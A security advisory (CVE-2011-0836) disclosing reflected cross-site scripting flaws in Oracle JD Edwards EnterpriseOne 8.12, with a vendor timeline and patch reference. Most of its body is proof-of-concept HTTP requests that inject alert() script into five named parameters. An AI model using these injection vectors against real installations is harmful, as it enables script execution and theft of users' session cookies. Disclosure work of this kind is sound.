Advisory Name: Multiple Cross-Site Scripting (XSS) in Oracle JD Edwards EnterpriseOne Public Advisory Id: CVE-2011-0836 Internal Cybsec Advisory Id: 2011-0402-Multiple XSSs in Oracle JD Edwards EnterpriseOne Vulnerability Class: Reflected Cross-Site Scripting (XSS) Release Date: 04/20/2011 Affected Applications: Oracle JD Edwards EnterpriseOne v8.12; other versions may also be affected. Affected Platforms: Any running Oracle JD Edwards EnterpriseOne Local / Remote: Remote Severity: Medium - CVSS: 3.5 (AV:N/AC:M/Au:S/C:N/I:P/A:N) Researcher: Juan Manuel Garcia Vendor Status: Patched Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf Vulnerability Description: Multiple Reflected Cross Site Scripting vulnerabilities were found in Oracle JD Edwards EnterpriseOne, because the application fails to sanitize user-supplied input. The vulnerabilities can be triggered by any logged-in user. At least the following parameters are not properly sanitized: /jde/E1Menu.maf: jdeowpBackButtonProtect /jde/E1Menu_Menu.mafService: e1.namespace /jde/E1Menu_OCL.mafService: e1.namespace /jde/MafletClose.mafService: RENDER_MAFLET /jde/JASMafletMafBrowserClose.mafService: jdemafjasLinkTarget Some Proof of Concepts: http://XXX.XXX.XXX.XXX/jde/E1Menu.maf Parameter: jdeowpBackButtonProtect * The GET request has been set to: >'"> /jde/E1Menu.maf?selectJPD812=*ALL&envRadioGroup=&jdeowpBackButtonProtect=PROTECTED&%3E%27%22%3E%3Cscript%3Ealert%2820639%29%3C%2Fscript%3E=123 HTTP/1.0 Cookie: e1AppState=0:|; advancedState=none; JSESSIONID=00002ZzkuqI4ibppzAAcyOOuBnh:14p7umbnp; e1MenuState=100003759| Accept: */* Accept-Language: en-US User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: XXX.XXX.XXX.XXX http://XXX.XXX.XXX.XXX/jde/E1Menu_Menu.mafService Parameter: e1.namespace * The POST request has been set to: %2Balert%2835890%29%2B /jde/E1Menu_Menu.mafService?e1.mode=view&e1.state=maximized&RENDER_MAFLET=E1Menu&e1.service=E1Menu_Menu&e1.namespace=%2Balert%2835890%29%2B HTTP/1.0 Cookie: e1AppState=0:|; advancedState=none; JSESSIONID=0000b7KChC3OjQct7TOz9U6NMhK:14p7umbnp; e1MenuState=100003759| Content-Length: 12 Accept: */* Accept-Language: en-US User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: XXX.XXX.XXX.XXX Content-Type: application/x-www-form-urlencoded Referer: http://XXX.XXX.XXX.XXX/jde/E1Menu.maf?selectJPD812=*ALL&envRadioGroup=&jdeowpBackButtonProtect=PROTECTED nodeId=&a=lc http://XXX.XXX.XXX.XXX/jde/E1Menu_OCL.mafService Parameter: e1.namespace * The GET request has been set to: %2Balert%2848981%29%2B /jde/E1Menu_OCL.mafService?e1.mode=view&e1.state=maximized&RENDER_MAFLET=E1Menu&e1.service=E1Menu_OCL&e1.namespace=%2Balert%2848981%29%2B×tamp=1290796450377 HTTP/1.0 Cookie: e1AppState=0:|; advancedState=none; JSESSIONID=0000xXDQLJurffGMVi6Du_UnL0Z:14p7umbnp; e1MenuState=100003759| Accept: */* Accept-Language: en-US User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: XXX.XXX.XXX.XXX Referer: http://XXX.XXX.XXX.XXX/jde/E1Menu.maf?selectJPD812=*ALL&envRadioGroup=&jdeowpBackButtonProtect=PROTECTED http://XXX.XXX.XXX.XXX/jde/MafletClose.mafService Parameter: RENDER_MAFLET * The GET request has been set to: E1Menu"%2Balert%2844218%29%2B" /jde/MafletClose.mafService?e1.mode=view&e1.state=maximized&RENDER_MAFLET=E1Menu"%2Balert%2844218%29%2B"&e1.service=MafletClose&e1.namespace= HTTP/1.0 Cookie: e1AppState=0:|; advancedState=none; JSESSIONID=0000FGUGWkc2Y9q-dO3GqshuPVQ:14p7umbnp; e1MenuState=100003759| Accept: */* Accept-Language: en-US User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: XXX.XXX.XXX.XXX Referer: http://XXX.XXX.XXX.XXX/jde/E1Menu.maf?selectJPD812=*ALL&envRadioGroup=&jdeowpBackButtonProtect=PROTECTED * http://XXX.XXX.XXX.XXX/jde/JASMafletMafBrowserClose.mafService Parameter: jdemafjasLinkTarget * The GET request has been set to: E1MENUMAIN_3860308878877903872"%2Balert%28222735%29%2B" /jde/JASMafletMafBrowserClose.mafService?jdemafjasFrom=BrowserClose&e1.mode=view&jdeLoginAction=LOGOUT&e1.state=maximized&jdemafjasLinkTarget=E1MENUMAIN_3860308878877903872"%2Balert%28222735%29%2B"&RENDER_MAFLET=E1Menu&jdemafjasLauncher=PSFT_TE_V3_SW&e1.service=JASMafletMafBrowserClose&e1.namespace= HTTP/1.0 Cookie: e1AppState=0:|; advancedState=none; JSESSIONID=00003wyVho0_-Ma0fQp67cuqdCs:14p7ulc8o; e1MenuState=100003759| Accept: */* Accept-Language: en-US User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: XXX.XXX.XXX.XXX Referer: http://XXX.XXX.XXX.XXX/jde/E1Menu.maf?selectJPD812=*ALL&envRadioGroup=&jdeowpBackButtonProtect=PROTECTED Impact: An affected user may unintentionally execute scripts or actions written by an attacker. In addition, an attacker may obtain authorization cookies that would allow him to gain unauthorized access to the application. Solution: Install Oracle Critical Patch Update (CPU) - April 2011 Vendor Response: 2010/11/30 - Vulnerability was identified. 2010/12/03 - Vendor contacted. 2010/12/06 - Vendor commited to look into these issues. 2010/12/07 - Vendor request more info about the issue. 2010/12/07 - Cybsec sends more info about the issue. 2010/12/08 - Vendor says "We will look into this and get back to you soon". 2010/12/22 - Vendor confirmed vulnerability and informed that is going to send monthly updates about this issue till it is resolved. 2011/02/02 - Vendor request the info again and assigned the Tracking # S0024805 for this issue. 2011/02/04- Vendor request more time to resolve the vulnerability. 2011/02/04- Cybsec informs that the advisory will be published just after the publication of the Oracle's April CPU. 2011/04/18 - Vendor informs that the vulnerability is fixed in the upcoming Critical Patch Update (CPU) due to be released on April 19, 2011. 2011/04/19 - Vendor publishes Critical Patch Update (CPU). 2011/04/20 - Vulnerability was released. Contact Information: For more information regarding the vulnerability feel free to contact the researcher at jmgarcia cybsec com About CYBSEC S.A. Security Systems Since 1996, CYBSEC is engaged exclusively in rendering professional services specialized in Information Security. Their area of services covers Latin America, Spain and over 250 customers are a proof of their professional life. To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is associated with other software and/or hardware provider companies. Our services are strictly focused on Information Security, protecting our clients from emerging security threats, maintaining their IT deployments available, safe, and reliable. Beyond professional services, CYBSEC is continuously researching new defense and attack techniques and contributing with the security community with high quality information exchange. For more information, please visit www.cybsec.com (c) 2011 - CYBSEC S.A. Security Systems